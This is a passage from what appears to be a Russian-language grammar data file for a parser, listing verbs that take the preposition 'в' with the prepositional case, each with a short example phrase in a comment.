rus_verbs:заиграть{}, // заиграть в жилах
rus_verbs:шевелить{}, // шевелить в воде
rus_verbs:зазвенеть{}, // зазвенеть в ушах
rus_verbs:зависнуть{}, // зависнуть в библиотеке
rus_verbs:затаить{}, // затаить в душе обиду
rus_verbs:сознаться{}, // сознаться в совершении
rus_verbs:протекать{}, // протекать в легкой форме
rus_verbs:выясняться{}, // выясняться в ходе эксперимента
rus_verbs:скрестить{}, // скрестить в неволе
rus_verbs:наводить{}, // наводить в комнате порядок
rus_verbs:значиться{}, // значиться в документах
rus_verbs:заинтересовать{}, // заинтересовать в получении результатов
rus_verbs:познакомить{}, // познакомить в непринужденной обстановке
rus_verbs:рассеяться{}, // рассеяться в воздухе
rus_verbs:грохнуть{}, // грохнуть в подвале
rus_verbs:обвинять{}, // обвинять в вымогательстве
rus_verbs:столпиться{}, // столпиться в фойе
rus_verbs:порыться{}, // порыться в сумке
rus_verbs:ослабить{}, // ослабить в верхней части
rus_verbs:обнаруживаться{}, // обнаруживаться в кармане куртки
rus_verbs:спастись{}, // спастись в хижине
rus_verbs:прерваться{}, // прерваться в середине фразы
rus_verbs:применять{}, // применять в повседневной работе
rus_verbs:строиться{}, // строиться в зоне отчуждения
rus_verbs:путешествовать{}, // путешествовать в самолете
rus_verbs:побеждать{}, // побеждать в честной битве
rus_verbs:погубить{}, // погубить в себе артиста
rus_verbs:рассматриваться{}, // рассматриваться в следующей главе
rus_verbs:продаваться{}, // продаваться в специализированном магазине
rus_verbs:разместиться{}, // разместиться в аудитории
rus_verbs:повидать{}, // повидать в жизни
rus_verbs:настигнуть{}, // настигнуть в пригородах
rus_verbs:сгрудиться{}, // сгрудиться в центре загона
rus_verbs:укрыться{}, // укрыться в доме
rus_verbs:расплакаться{}, // расплакаться в суде
rus_verbs:пролежать{}, // пролежать в канаве
rus_verbs:замерзнуть{}, // замерзнуть в ледяной воде
rus_verbs:поскользнуться{}, // поскользнуться в коридоре
rus_verbs:таскать{}, // таскать в руках
rus_verbs:нападать{}, // нападать в вольере
rus_verbs:просматривать{}, // просматривать в браузере
rus_verbs:обдумать{}, // обдумать в дороге
rus_verbs:обвинить{}, // обвинить в измене
rus_verbs:останавливать{}, // останавливать в дверях
rus_verbs:теряться{}, // теряться в догадках
rus_verbs:погибать{}, // погибать в бою
rus_verbs:обозначать{}, // обозначать в списке
rus_verbs:запрещать{}, // запрещать в парке
rus_verbs:долететь{}, // долететь в вертолёте
rus_verbs:тесниться{}, // тесниться в каморке
rus_verbs:уменьшаться{}, // уменьшаться в размере
rus_verbs:издавать{}, // издавать в небольшом издательстве
rus_verbs:хоронить{}, // хоронить в море
rus_verbs:перемениться{}, // перемениться в лице
rus_verbs:установиться{}, // установиться в северных областях
rus_verbs:прикидывать{}, // прикидывать в уме
rus_verbs:затаиться{}, // затаиться в траве
rus_verbs:раздобыть{}, // раздобыть в аптеке
rus_verbs:перебросить{}, // перебросить в товарном составе
rus_verbs:погружаться{}, // погружаться в батискафе
rus_verbs:поживать{}, // поживать в одиночестве
rus_verbs:признаваться{}, // признаваться в любви
rus_verbs:захватывать{}, // захватывать в здании
rus_verbs:покачиваться{}, // покачиваться в лодке
rus_verbs:крутиться{}, // крутиться в колесе
rus_verbs:помещаться{}, // помещаться в ящике
rus_verbs:питаться{}, // питаться в столовой
rus_verbs:отдохнуть{}, // отдохнуть в пансионате
rus_verbs:кататься{}, // кататься в коляске
rus_verbs:поработать{}, // поработать в цеху
rus_verbs:подразумевать{}, // подразумевать в задании
rus_verbs:ограбить{}, // ограбить в подворотне
rus_verbs:преуспеть{}, // преуспеть в бизнесе
rus_verbs:заерзать{}, // заерзать в кресле
rus_verbs:разъяснить{}, // разъяснить в другой статье
rus_verbs:продвинуться{}, // продвинуться в изучении
rus_verbs:поколебаться{}, // поколебаться в начале
rus_verbs:засомневаться{}, // засомневаться в честности
rus_verbs:приникнуть{}, // приникнуть в уме
rus_verbs:скривить{}, // скривить в усмешке
rus_verbs:рассечь{}, // рассечь в центре опухоли
rus_verbs:перепутать{}, // перепутать в роддоме
rus_verbs:посмеяться{}, // посмеяться в перерыве
rus_verbs:отмечаться{}, // отмечаться в полицейском участке
rus_verbs:накопиться{}, // накопиться в отстойнике
rus_verbs:уносить{}, // уносить в руках
rus_verbs:навещать{}, // навещать в больнице
rus_verbs:остыть{}, // остыть в проточной воде
rus_verbs:запереться{}, // запереться в комнате
rus_verbs:обогнать{}, // обогнать в первом круге
rus_verbs:убеждаться{}, // убеждаться в неизбежности
rus_verbs:подбирать{}, // подбирать в магазине
rus_verbs:уничтожать{}, // уничтожать в полете
rus_verbs:путаться{}, // путаться в показаниях
rus_verbs:притаиться{}, // притаиться в темноте
rus_verbs:проплывать{}, // проплывать в лодке
rus_verbs:засесть{}, // засесть в окопе
rus_verbs:подцепить{}, // подцепить в баре
rus_verbs:насчитать{}, // насчитать в диктанте несколько ошибок
rus_verbs:оправдаться{}, // оправдаться в суде
rus_verbs:созреть{}, // созреть в естественных условиях
rus_verbs:раскрываться{}, // раскрываться в подходящих условиях
rus_verbs:ожидаться{}, // ожидаться в верхней части
rus_verbs:одеваться{}, // одеваться в дорогих бутиках
rus_verbs:упрекнуть{}, // упрекнуть в недостатке опыта
rus_verbs:грабить{}, // грабить в подворотне
rus_verbs:ужинать{}, // ужинать в ресторане
rus_verbs:гонять{}, // гонять в жилах
rus_verbs:уверить{}, // уверить в безопасности
rus_verbs:потеряться{}, // потеряться в лесу
rus_verbs:устанавливаться{}, // устанавливаться в комнате
rus_verbs:предоставлять{}, // предоставлять в суде
rus_verbs:протянуться{}, // протянуться в стене
rus_verbs:допрашивать{}, // допрашивать в бункере
rus_verbs:проработать{}, // проработать в кабинете
rus_verbs:сосредоточить{}, // сосредоточить в своих руках
rus_verbs:утвердить{}, // утвердить в должности
rus_verbs:сочинять{}, // сочинять в дороге
rus_verbs:померкнуть{}, // померкнуть в глазах
rus_verbs:показываться{}, // показываться в окошке
rus_verbs:похудеть{}, // похудеть в талии
rus_verbs:проделывать{}, // проделывать в стене
rus_verbs:прославиться{}, // прославиться в интернете
rus_verbs:сдохнуть{}, // сдохнуть в нищете
rus_verbs:раскинуться{}, // раскинуться в степи
rus_verbs:развить{}, // развить в себе способности
rus_verbs:уставать{}, // уставать в цеху
rus_verbs:укрепить{}, // укрепить в земле
rus_verbs:числиться{}, // числиться в списке
rus_verbs:образовывать{}, // образовывать в смеси
rus_verbs:екнуть{}, // екнуть в груди
rus_verbs:одобрять{}, // одобрять в своей речи
rus_verbs:запить{}, // запить в одиночестве
rus_verbs:забыться{}, // забыться в тяжелом сне
rus_verbs:чернеть{}, // чернеть в кислой среде
rus_verbs:размещаться{}, // размещаться в гараже
rus_verbs:соорудить{}, // соорудить в гараже
rus_verbs:развивать{}, // развивать в себе
rus_verbs:пастись{}, // пастись в пойме
rus_verbs:формироваться{}, // формироваться в верхних слоях атмосферы
rus_verbs:ослабнуть{}, // ослабнуть в сочленении
rus_verbs:таить{}, // таить в себе
инфинитив:пробегать{ вид:несоверш }, глагол:пробегать{ вид:несоверш }, // пробегать в спешке
rus_verbs:приостановиться{}, // приостановиться в конце
rus_verbs:топтаться{}, // топтаться в грязи
rus_verbs:громить{}, // громить в финале
rus_verbs:заменять{}, // заменять в основном составе
rus_verbs:подъезжать{}, // подъезжать в колясках
rus_verbs:вычислить{}, // вычислить в уме
rus_verbs:заказывать{}, // заказывать в магазине
rus_verbs:осуществить{}, // осуществить в реальных условиях
rus_verbs:обосноваться{}, // обосноваться в дупле
rus_verbs:пытать{}, // пытать в камере
rus_verbs:поменять{}, // поменять в магазине
rus_verbs:совершиться{}, // совершиться в суде
rus_verbs:пролетать{}, // пролетать в вертолете
rus_verbs:сбыться{}, // сбыться во сне
rus_verbs:разговориться{}, // разговориться в отделении
rus_verbs:преподнести{}, // преподнести в красивой упаковке
rus_verbs:напечатать{}, // напечатать в типографии
rus_verbs:прорвать{}, // прорвать в центре
rus_verbs:раскачиваться{}, // раскачиваться в кресле
rus_verbs:задерживаться{}, // задерживаться в дверях
rus_verbs:угощать{}, // угощать в кафе
rus_verbs:проступать{}, // проступать в глубине
rus_verbs:шарить{}, // шарить в математике
rus_verbs:увеличивать{}, // увеличивать в конце
rus_verbs:расцвести{}, // расцвести в оранжерее
rus_verbs:закипеть{}, // закипеть в баке
rus_verbs:подлететь{}, // подлететь в вертолете
rus_verbs:рыться{}, // рыться в куче
rus_verbs:пожить{}, // пожить в гостинице
rus_verbs:добираться{}, // добираться в попутном транспорте
rus_verbs:перекрыть{}, // перекрыть в коридоре
rus_verbs:продержаться{}, // продержаться в барокамере
rus_verbs:разыскивать{}, // разыскивать в толпе
rus_verbs:освобождать{}, // освобождать в зале суда
rus_verbs:подметить{}, // подметить в человеке
rus_verbs:передвигаться{}, // передвигаться в узкой юбке
rus_verbs:продумать{}, // продумать в уме
rus_verbs:извиваться{}, // извиваться в траве
rus_verbs:процитировать{}, // процитировать в статье
rus_verbs:прогуливаться{}, // прогуливаться в парке
rus_verbs:защемить{}, // защемить в двери
rus_verbs:увеличиться{}, // увеличиться в объеме
rus_verbs:проявиться{}, // проявиться в результатах
rus_verbs:заскользить{}, // заскользить в ботинках
rus_verbs:пересказать{}, // пересказать в своем выступлении
rus_verbs:протестовать{}, // протестовать в здании парламента
rus_verbs:указываться{}, // указываться в путеводителе
rus_verbs:копошиться{}, // копошиться в песке
rus_verbs:проигнорировать{}, // проигнорировать в своей работе
rus_verbs:купаться{}, // купаться в речке
rus_verbs:подсчитать{}, // подсчитать в уме
rus_verbs:разволноваться{}, // разволноваться в классе
rus_verbs:придумывать{}, // придумывать в своем воображении
rus_verbs:предусмотреть{}, // предусмотреть в программе
rus_verbs:завертеться{}, // завертеться в колесе
rus_verbs:зачерпнуть{}, // зачерпнуть в ручье
rus_verbs:очистить{}, // очистить в химической лаборатории
rus_verbs:прозвенеть{}, // прозвенеть в коридорах
rus_verbs:уменьшиться{}, // уменьшиться в размере
rus_verbs:колыхаться{}, // колыхаться в проточной воде
rus_verbs:ознакомиться{}, // ознакомиться в автобусе
rus_verbs:ржать{}, // ржать в аудитории
rus_verbs:раскинуть{}, // раскинуть в микрорайоне
rus_verbs:разлиться{}, // разлиться в воде
rus_verbs:сквозить{}, // сквозить в словах
rus_verbs:задушить{}, // задушить в объятиях
rus_verbs:осудить{}, // осудить в особом порядке
rus_verbs:разгромить{}, // разгромить в честном поединке
rus_verbs:подслушать{}, // подслушать в кулуарах
rus_verbs:проповедовать{}, // проповедовать в сельских районах
rus_verbs:озарить{}, // озарить во сне
rus_verbs:потирать{}, // потирать в предвкушении
rus_verbs:описываться{}, // описываться в статье
rus_verbs:качаться{}, // качаться в кроватке
rus_verbs:усилить{}, // усилить в центре
rus_verbs:прохаживаться{}, // прохаживаться в новом костюме
rus_verbs:полечить{}, // полечить в больничке
rus_verbs:сниматься{}, // сниматься в римейке
rus_verbs:сыскать{}, // сыскать в наших краях
rus_verbs:поприветствовать{}, // поприветствовать в коридоре
rus_verbs:подтвердиться{}, // подтвердиться в эксперименте
rus_verbs:плескаться{}, // плескаться в теплой водичке
rus_verbs:расширяться{}, // расширяться в первом сегменте
rus_verbs:мерещиться{}, // мерещиться в тумане
rus_verbs:сгущаться{}, // сгущаться в воздухе
rus_verbs:храпеть{}, // храпеть во сне
rus_verbs:подержать{}, // подержать в руках
rus_verbs:накинуться{}, // накинуться в подворотне
rus_verbs:планироваться{}, // планироваться в закрытом режиме
rus_verbs:пробудить{}, // пробудить в себе
rus_verbs:побриться{}, // побриться в ванной
rus_verbs:сгинуть{}, // сгинуть в пучине
rus_verbs:окрестить{}, // окрестить в церкви
инфинитив:резюмировать{ вид:соверш }, глагол:резюмировать{ вид:соверш }, // резюмировать в конце выступления
rus_verbs:замкнуться{}, // замкнуться в себе
rus_verbs:прибавлять{}, // прибавлять в весе
rus_verbs:проплыть{}, // проплыть в лодке
rus_verbs:растворяться{}, // растворяться в тумане
rus_verbs:упрекать{}, // упрекать в небрежности
rus_verbs:затеряться{}, // затеряться в лабиринте
rus_verbs:перечитывать{}, // перечитывать в поезде
rus_verbs:перелететь{}, // перелететь в вертолете
rus_verbs:оживать{}, // оживать в теплой воде
rus_verbs:заглохнуть{}, // заглохнуть в полете
rus_verbs:кольнуть{}, // кольнуть в боку
rus_verbs:копаться{}, // копаться в куче
rus_verbs:развлекаться{}, // развлекаться в клубе
rus_verbs:отливать{}, // отливать в кустах
rus_verbs:зажить{}, // зажить в деревне
rus_verbs:одолжить{}, // одолжить в соседнем кабинете
rus_verbs:заклинать{}, // заклинать в своей речи
rus_verbs:различаться{}, // различаться в мелочах
rus_verbs:печататься{}, // печататься в типографии
rus_verbs:угадываться{}, // угадываться в контурах
rus_verbs:обрывать{}, // обрывать в начале
rus_verbs:поглаживать{}, // поглаживать в кармане
rus_verbs:подписывать{}, // подписывать в присутствии понятых
rus_verbs:добывать{}, // добывать в разломе
rus_verbs:скопиться{}, // скопиться в воротах
rus_verbs:повстречать{}, // повстречать в бане
rus_verbs:совпасть{}, // совпасть в упрощенном виде
rus_verbs:разрываться{}, // разрываться в точке спайки
rus_verbs:улавливать{}, // улавливать в датчике
rus_verbs:повстречаться{}, // повстречаться в лифте
rus_verbs:отразить{}, // отразить в отчете
rus_verbs:пояснять{}, // пояснять в примечаниях
rus_verbs:накормить{}, // накормить в столовке
rus_verbs:поужинать{}, // поужинать в ресторане
инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть в суде
инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш },
rus_verbs:топить{}, // топить в молоке
rus_verbs:освоить{}, // освоить в работе
rus_verbs:зародиться{}, // зародиться в голове
rus_verbs:отплыть{}, // отплыть в старой лодке
rus_verbs:отстаивать{}, // отстаивать в суде
rus_verbs:осуждать{}, // осуждать в своем выступлении
rus_verbs:переговорить{}, // переговорить в перерыве
rus_verbs:разгораться{}, // разгораться в сердце
rus_verbs:укрыть{}, // укрыть в шалаше
rus_verbs:томиться{}, // томиться в застенках
rus_verbs:клубиться{}, // клубиться в воздухе
rus_verbs:сжигать{}, // сжигать в топке
rus_verbs:позавтракать{}, // позавтракать в кафешке
rus_verbs:функционировать{}, // функционировать в лабораторных условиях
rus_verbs:смять{}, // смять в руке
rus_verbs:разместить{}, // разместить в интернете
rus_verbs:пронести{}, // пронести в потайном кармане
rus_verbs:руководствоваться{}, // руководствоваться в работе
rus_verbs:нашарить{}, // нашарить в потемках
rus_verbs:закрутить{}, // закрутить в вихре
rus_verbs:просматриваться{}, // просматриваться в дальней перспективе
rus_verbs:распознать{}, // распознать в незнакомце
rus_verbs:повеситься{}, // повеситься в камере
rus_verbs:обшарить{}, // обшарить в поисках наркотиков
rus_verbs:наполняться{}, // наполняется в карьере
rus_verbs:засвистеть{}, // засвистеть в воздухе
rus_verbs:процветать{}, // процветать в мягком климате
rus_verbs:шуршать{}, // шуршать в простенке
rus_verbs:подхватывать{}, // подхватывать в полете
инфинитив:роиться{}, глагол:роиться{}, // роиться в воздухе
прилагательное:роившийся{}, прилагательное:роящийся{},
// деепричастие:роясь{ aux stress="ро^ясь" },
rus_verbs:преобладать{}, // преобладать в тексте
rus_verbs:посветлеть{}, // посветлеть в лице
rus_verbs:игнорировать{}, // игнорировать в рекомендациях
rus_verbs:обсуждаться{}, // обсуждаться в кулуарах
rus_verbs:отказывать{}, // отказывать в визе
rus_verbs:ощупывать{}, // ощупывать в кармане
rus_verbs:разливаться{}, // разливаться в цеху
rus_verbs:расписаться{}, // расписаться в получении
rus_verbs:учинить{}, // учинить в казарме
rus_verbs:плестись{}, // плестись в хвосте
rus_verbs:объявляться{}, // объявляться в группе
rus_verbs:повышаться{}, // повышаться в первой части
rus_verbs:напрягать{}, // напрягать в паху
rus_verbs:разрабатывать{}, // разрабатывать в студии
rus_verbs:хлопотать{}, // хлопотать в мэрии
rus_verbs:прерывать{}, // прерывать в самом начале
rus_verbs:каяться{}, // каяться в грехах
rus_verbs:освоиться{}, // освоиться в кабине
rus_verbs:подплыть{}, // подплыть в лодке
rus_verbs:замигать{}, // замигать в темноте
rus_verbs:оскорблять{}, // оскорблять в выступлении
rus_verbs:торжествовать{}, // торжествовать в душе
rus_verbs:поправлять{}, // поправлять в прологе
rus_verbs:угадывать{}, // угадывать в размытом изображении
rus_verbs:потоптаться{}, // потоптаться в прихожей
rus_verbs:переправиться{}, // переправиться в лодочке
rus_verbs:увериться{}, // увериться в невиновности
rus_verbs:забрезжить{}, // забрезжить в конце тоннеля
rus_verbs:утвердиться{}, // утвердиться во мнении
rus_verbs:завывать{}, // завывать в трубе
rus_verbs:заварить{}, // заварить в заварнике
rus_verbs:скомкать{}, // скомкать в руке
rus_verbs:перемещаться{}, // перемещаться в капсуле
инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться в первом поле
rus_verbs:праздновать{}, // праздновать в баре
rus_verbs:мигать{}, // мигать в темноте
rus_verbs:обучить{}, // обучить в мастерской
rus_verbs:орудовать{}, // орудовать в кладовке
rus_verbs:упорствовать{}, // упорствовать в заблуждении
rus_verbs:переминаться{}, // переминаться в прихожей
rus_verbs:подрасти{}, // подрасти в теплице
rus_verbs:предписываться{}, // предписываться в законе
rus_verbs:приписать{}, // приписать в конце
rus_verbs:задаваться{}, // задаваться в своей статье
rus_verbs:чинить{}, // чинить в домашних условиях
rus_verbs:раздеваться{}, // раздеваться в пляжной кабинке
rus_verbs:пообедать{}, // пообедать в ресторанчике
rus_verbs:жрать{}, // жрать в чуланчике
rus_verbs:исполняться{}, // исполняться в антракте
rus_verbs:гнить{}, // гнить в тюрьме
rus_verbs:глодать{}, // глодать в конуре
rus_verbs:прослушать{}, // прослушать в дороге
rus_verbs:истратить{}, // истратить в кабаке
rus_verbs:стареть{}, // стареть в одиночестве
rus_verbs:разжечь{}, // разжечь в сердце
rus_verbs:совещаться{}, // совещаться в кабинете
rus_verbs:покачивать{}, // покачивать в кроватке
rus_verbs:отсидеть{}, // отсидеть в одиночке
rus_verbs:формировать{}, // формировать в умах
rus_verbs:захрапеть{}, // захрапеть во сне
rus_verbs:петься{}, // петься в хоре
rus_verbs:объехать{}, // объехать в автобусе
rus_verbs:поселить{}, // поселить в гостинице
rus_verbs:предаться{}, // предаться в книге
rus_verbs:заворочаться{}, // заворочаться во сне
rus_verbs:напрятать{}, // напрятать в карманах
rus_verbs:очухаться{}, // очухаться в незнакомом месте
rus_verbs:ограничивать{}, // ограничивать в движениях
rus_verbs:завертеть{}, // завертеть в руках
rus_verbs:печатать{}, // печатать в редакторе
rus_verbs:теплиться{}, // теплиться в сердце
rus_verbs:увязнуть{}, // увязнуть в зыбучем песке
rus_verbs:усмотреть{}, // усмотреть в обращении
rus_verbs:отыскаться{}, // отыскаться в запасах
rus_verbs:потушить{}, // потушить в горле огонь
rus_verbs:поубавиться{}, // поубавиться в размере
rus_verbs:зафиксировать{}, // зафиксировать в постоянной памяти
rus_verbs:смыть{}, // смыть в ванной
rus_verbs:заместить{}, // заместить в кресле
rus_verbs:угасать{}, // угасать в одиночестве
rus_verbs:сразить{}, // сразить в споре
rus_verbs:фигурировать{}, // фигурировать в бюллетене
rus_verbs:расплываться{}, // расплываться в глазах
rus_verbs:сосчитать{}, // сосчитать в уме
rus_verbs:сгуститься{}, // сгуститься в воздухе
rus_verbs:цитировать{}, // цитировать в своей статье
rus_verbs:помяться{}, // помяться в давке
rus_verbs:затрагивать{}, // затрагивать в процессе выполнения
rus_verbs:обтереть{}, // обтереть в гараже
rus_verbs:подстрелить{}, // подстрелить в пойме реки
rus_verbs:растереть{}, // растереть в руке
rus_verbs:подавлять{}, // подавлять в зародыше
rus_verbs:смешиваться{}, // смешиваться в чане
инфинитив:вычитать{ вид:соверш }, глагол:вычитать{ вид:соверш }, // вычитать в книжечке
rus_verbs:сократиться{}, // сократиться в обхвате
rus_verbs:занервничать{}, // занервничать в кабинете
rus_verbs:соприкоснуться{}, // соприкоснуться в полете
rus_verbs:обозначить{}, // обозначить в объявлении
rus_verbs:обучаться{}, // обучаться в училище
rus_verbs:снизиться{}, // снизиться в нижних слоях атмосферы
rus_verbs:лелеять{}, // лелеять в сердце
rus_verbs:поддерживаться{}, // поддерживаться в суде
rus_verbs:уплыть{}, // уплыть в лодочке
rus_verbs:резвиться{}, // резвиться в саду
rus_verbs:поерзать{}, // поерзать в гамаке
rus_verbs:оплатить{}, // оплатить в ресторане
rus_verbs:похвастаться{}, // похвастаться в компании
rus_verbs:знакомиться{}, // знакомиться в классе
rus_verbs:приплыть{}, // приплыть в подводной лодке
rus_verbs:зажигать{}, // зажигать в классе
rus_verbs:смыслить{}, // смыслить в математике
rus_verbs:закопать{}, // закопать в огороде
rus_verbs:порхать{}, // порхать в зарослях
rus_verbs:потонуть{}, // потонуть в бумажках
rus_verbs:стирать{}, // стирать в холодной воде
rus_verbs:подстерегать{}, // подстерегать в придорожных кустах
rus_verbs:погулять{}, // погулять в парке
rus_verbs:предвкушать{}, // предвкушать в воображении
rus_verbs:ошеломить{}, // ошеломить в бою
rus_verbs:удостовериться{}, // удостовериться в безопасности
rus_verbs:огласить{}, // огласить в заключительной части
rus_verbs:разбогатеть{}, // разбогатеть в деревне
rus_verbs:грохотать{}, // грохотать в мастерской
rus_verbs:реализоваться{}, // реализоваться в должности
rus_verbs:красть{}, // красть в магазине
rus_verbs:нарваться{}, // нарваться в коридоре
rus_verbs:застывать{}, // застывать в неудобной позе
rus_verbs:толкаться{}, // толкаться в тесной комнате
rus_verbs:извлекать{}, // извлекать в аппарате
rus_verbs:обжигать{}, // обжигать в печи
rus_verbs:запечатлеть{}, // запечатлеть в кинохронике
rus_verbs:тренироваться{}, // тренироваться в зале
rus_verbs:поспорить{}, // поспорить в кабинете
rus_verbs:рыскать{}, // рыскать в лесу
rus_verbs:надрываться{}, // надрываться в шахте
rus_verbs:сняться{}, // сняться в фильме
rus_verbs:закружить{}, // закружить в танце
rus_verbs:затонуть{}, // затонуть в порту
rus_verbs:побыть{}, // побыть в гостях
rus_verbs:почистить{}, // почистить в носу
rus_verbs:сгорбиться{}, // сгорбиться в тесной конуре
rus_verbs:подслушивать{}, // подслушивать в классе
rus_verbs:сгорать{}, // сгорать в танке
rus_verbs:разочароваться{}, // разочароваться в артисте
инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать в кустиках
rus_verbs:мять{}, // мять в руках
rus_verbs:подраться{}, // подраться в классе
rus_verbs:замести{}, // замести в прихожей
rus_verbs:откладываться{}, // откладываться в печени
rus_verbs:обозначаться{}, // обозначаться в перечне
rus_verbs:просиживать{}, // просиживать в интернете
rus_verbs:соприкасаться{}, // соприкасаться в точке
rus_verbs:начертить{}, // начертить в тетрадке
rus_verbs:уменьшать{}, // уменьшать в поперечнике
rus_verbs:тормозить{}, // тормозить в облаке
rus_verbs:затевать{}, // затевать в лаборатории
rus_verbs:затопить{}, // затопить в бухте
rus_verbs:задерживать{}, // задерживать в лифте
rus_verbs:прогуляться{}, // прогуляться в лесу
rus_verbs:прорубить{}, // прорубить во льду
rus_verbs:очищать{}, // очищать в кислоте
rus_verbs:полулежать{}, // полулежать в гамаке
rus_verbs:исправить{}, // исправить в задании
rus_verbs:предусматриваться{}, // предусматриваться в постановке задачи
rus_verbs:замучить{}, // замучить в плену
rus_verbs:разрушаться{}, // разрушаться в верхней части
rus_verbs:ерзать{}, // ерзать в кресле
rus_verbs:покопаться{}, // покопаться в залежах
rus_verbs:раскаяться{}, // раскаяться в содеянном
rus_verbs:пробежаться{}, // пробежаться в парке
rus_verbs:полежать{}, // полежать в гамаке
rus_verbs:позаимствовать{}, // позаимствовать в книге
rus_verbs:снижать{}, // снижать в несколько раз
rus_verbs:черпать{}, // черпать в поэзии
rus_verbs:заверять{}, // заверять в своей искренности
rus_verbs:проглядеть{}, // проглядеть в сумерках
rus_verbs:припарковать{}, // припарковать во дворе
rus_verbs:сверлить{}, // сверлить в стене
rus_verbs:здороваться{}, // здороваться в аудитории
rus_verbs:рожать{}, // рожать в воде
rus_verbs:нацарапать{}, // нацарапать в тетрадке
rus_verbs:затопать{}, // затопать в коридоре
rus_verbs:прописать{}, // прописать в правилах
rus_verbs:сориентироваться{}, // сориентироваться в обстоятельствах
rus_verbs:снизить{}, // снизить в несколько раз
rus_verbs:заблуждаться{}, // заблуждаться в своей теории
rus_verbs:откопать{}, // откопать в отвалах
rus_verbs:смастерить{}, // смастерить в лаборатории
rus_verbs:замедлиться{}, // замедлиться в парафине
rus_verbs:избивать{}, // избивать в участке
rus_verbs:мыться{}, // мыться в бане
rus_verbs:сварить{}, // сварить в кастрюльке
rus_verbs:раскопать{}, // раскопать в снегу
rus_verbs:крепиться{}, // крепиться в держателе
rus_verbs:дробить{}, // дробить в мельнице
rus_verbs:попить{}, // попить в ресторанчике
rus_verbs:затронуть{}, // затронуть в душе
rus_verbs:лязгнуть{}, // лязгнуть в тишине
rus_verbs:заправлять{}, // заправлять в полете
rus_verbs:размножаться{}, // размножаться в неволе
rus_verbs:потопить{}, // потопить в Тихом Океане
rus_verbs:кушать{}, // кушать в столовой
rus_verbs:замолкать{}, // замолкать в замешательстве
rus_verbs:измеряться{}, // измеряться в дюймах
rus_verbs:сбываться{}, // сбываться в мечтах
rus_verbs:задернуть{}, // задернуть в комнате
rus_verbs:затихать{}, // затихать в темноте
rus_verbs:прослеживаться{}, // прослеживается в журнале
rus_verbs:прерываться{}, // прерывается в начале
rus_verbs:изображаться{}, // изображается в любых фильмах
rus_verbs:фиксировать{}, // фиксировать в данной точке
rus_verbs:ослаблять{}, // ослаблять в поясе
rus_verbs:зреть{}, // зреть в теплице
rus_verbs:зеленеть{}, // зеленеть в огороде
rus_verbs:критиковать{}, // критиковать в статье
rus_verbs:облететь{}, // облететь в частном вертолете
rus_verbs:разбросать{}, // разбросать в комнате
rus_verbs:заразиться{}, // заразиться в людном месте
rus_verbs:рассеять{}, // рассеять в бою
rus_verbs:печься{}, // печься в духовке
rus_verbs:поспать{}, // поспать в палатке
rus_verbs:заступиться{}, // заступиться в драке
rus_verbs:сплетаться{}, // сплетаться в середине
rus_verbs:поместиться{}, // поместиться в мешке
rus_verbs:спереть{}, // спереть в лавке
// инфинитив:ликвидировать{ вид:несоверш }, глагол:ликвидировать{ вид:несоверш }, // ликвидировать в пригороде
// инфинитив:ликвидировать{ вид:соверш }, глагол:ликвидировать{ вид:соверш },
rus_verbs:проваляться{}, // проваляться в постели
rus_verbs:лечиться{}, // лечиться в стационаре
rus_verbs:определиться{}, // определиться в честном бою
rus_verbs:обработать{}, // обработать в растворе
rus_verbs:пробивать{}, // пробивать в стене
rus_verbs:перемешаться{}, // перемешаться в чане
rus_verbs:чесать{}, // чесать в паху
rus_verbs:пролечь{}, // пролечь в пустынной местности
rus_verbs:скитаться{}, // скитаться в дальних странах
rus_verbs:затрудняться{}, // затрудняться в выборе
rus_verbs:отряхнуться{}, // отряхнуться в коридоре
rus_verbs:разыгрываться{}, // разыгрываться в лотерее
rus_verbs:помолиться{}, // помолиться в церкви
rus_verbs:предписывать{}, // предписывать в рецепте
rus_verbs:порваться{}, // порваться в слабом месте
rus_verbs:греться{}, // греться в здании
rus_verbs:опровергать{}, // опровергать в своем выступлении
rus_verbs:помянуть{}, // помянуть в своем выступлении
rus_verbs:допросить{}, // допросить в прокуратуре
rus_verbs:материализоваться{}, // материализоваться в соседнем здании
rus_verbs:рассеиваться{}, // рассеиваться в воздухе
rus_verbs:перевозить{}, // перевозить в вагоне
rus_verbs:отбывать{}, // отбывать в тюрьме
rus_verbs:попахивать{}, // попахивать в отхожем месте
rus_verbs:перечислять{}, // перечислять в заключении
rus_verbs:зарождаться{}, // зарождаться в дебрях
rus_verbs:предъявлять{}, // предъявлять в своем письме
rus_verbs:распространять{}, // распространять в сети
rus_verbs:пировать{}, // пировать в соседнем селе
rus_verbs:начертать{}, // начертать в летописи
rus_verbs:расцветать{}, // расцветать в подходящих условиях
rus_verbs:царствовать{}, // царствовать в южной части материка
rus_verbs:накопить{}, // накопить в буфере
rus_verbs:закрутиться{}, // закрутиться в рутине
rus_verbs:отработать{}, // отработать в забое
rus_verbs:обокрасть{}, // обокрасть в автобусе
rus_verbs:прокладывать{}, // прокладывать в снегу
rus_verbs:ковырять{}, // ковырять в носу
rus_verbs:копить{}, // копить в очереди
rus_verbs:полечь{}, // полечь в степях
rus_verbs:щебетать{}, // щебетать в кустиках
rus_verbs:подчеркиваться{}, // подчеркиваться в сообщении
rus_verbs:посеять{}, // посеять в огороде
rus_verbs:разъезжать{}, // разъезжать в кабриолете
rus_verbs:замечаться{}, // замечаться в лесу
rus_verbs:просчитать{}, // просчитать в уме
rus_verbs:маяться{}, // маяться в командировке
rus_verbs:выхватывать{}, // выхватывать в тексте
rus_verbs:креститься{}, // креститься в деревенской часовне
rus_verbs:обрабатывать{}, // обрабатывать в растворе кислоты
rus_verbs:настигать{}, // настигать в огороде
rus_verbs:разгуливать{}, // разгуливать в роще
rus_verbs:насиловать{}, // насиловать в квартире
rus_verbs:побороть{}, // побороть в себе
rus_verbs:учитывать{}, // учитывать в расчетах
rus_verbs:искажать{}, // искажать в заметке
rus_verbs:пропить{}, // пропить в кабаке
rus_verbs:катать{}, // катать в лодочке
rus_verbs:припрятать{}, // припрятать в кармашке
rus_verbs:запаниковать{}, // запаниковать в бою
rus_verbs:рассыпать{}, // рассыпать в траве
rus_verbs:застревать{}, // застревать в ограде
rus_verbs:зажигаться{}, // зажигаться в сумерках
rus_verbs:жарить{}, // жарить в масле
rus_verbs:накапливаться{}, // накапливаться в костях
rus_verbs:распуститься{}, // распуститься в горшке
